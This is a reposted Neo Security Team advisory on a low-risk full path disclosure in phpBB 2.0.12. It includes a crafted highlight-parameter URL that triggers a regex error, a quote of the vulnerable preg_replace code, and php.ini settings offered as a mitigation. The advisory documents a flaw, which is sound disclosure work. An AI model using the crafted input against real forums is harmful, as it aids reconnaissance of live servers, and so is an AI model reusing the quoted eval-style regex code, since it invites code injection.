[转载]phpBB 2.0.12 Full path disclosure
信息来源：[N]eo [S]ecurity [T]eam [NST]Program: phpBB 2.0.12
Homepage: [url]http://www.phpbb.com[/url]
Vulnerable Versions: phpBB 2.0.12 & Lower versions
Risk: Low Risk!!
Impact: Full path disclosure
-==phpBB 2.0.12 Full path disclosure==-
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- Description
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phpBB is a high powered, fully scalable, and highly customizable
Open Source bulletin board package. phpBB has a user-friendly
interface, simple and straightforward administration panel, and
helpful FAQ. Based on the powerful PHP server language and your
choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers,
phpBB is the ideal free community solution for all web sites.
- Tested
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localhost & many forums
- Explotation
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phpBB/viewtopic.php?p=6&highlight=\[HaCkZaTaN]
It'll come out something like this.
Warning: Compilation failed: missing terminating ] for
character class at offset 20 in /home/nst/forum/viewtopic.php(1110) :
regexp code on line 1
It'll give a full path disclosure and also one thing that i noticed is
that the posts change it doesn't come out nothing.
In the HighLight Variable
Here is the problem:
-----[ Start Vuln Code ] ------------------------------------
1106: if ($highlight_match)
1107: {
1108: // This was shamelessly 'borrowed' from volker at multiartstudio dot de
1109: // via php.net's annotated manual
1110: $message = str_replace('\"', '"', substr(preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se',
"preg_replace('#\b(" . $highlight_match . ")\b#i', '<span style=\"color:#"
. $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', '\\0')", '>' . $message
. '<'), 1, -1));
1111: }
-----[ Ends Vulns Code ] ------------------------------------
Don't borrow stuff lol.
- Exploit
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Not Yet xD
- Solutions
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Not Yet xD
OK other thing that i noticed was in php.ini
magic_quotes_gpc = On
magic_quotes_sybase = Off
you have to turn both of them ON
- References
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[url]http://neossecurity.net/Advisories/Advisory-06.txt[/url]
- Credits
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Discovered by HaCkZaTaN <hck_zatan hotmail com>
[N]eo [S]ecurity [T]eam [NST]
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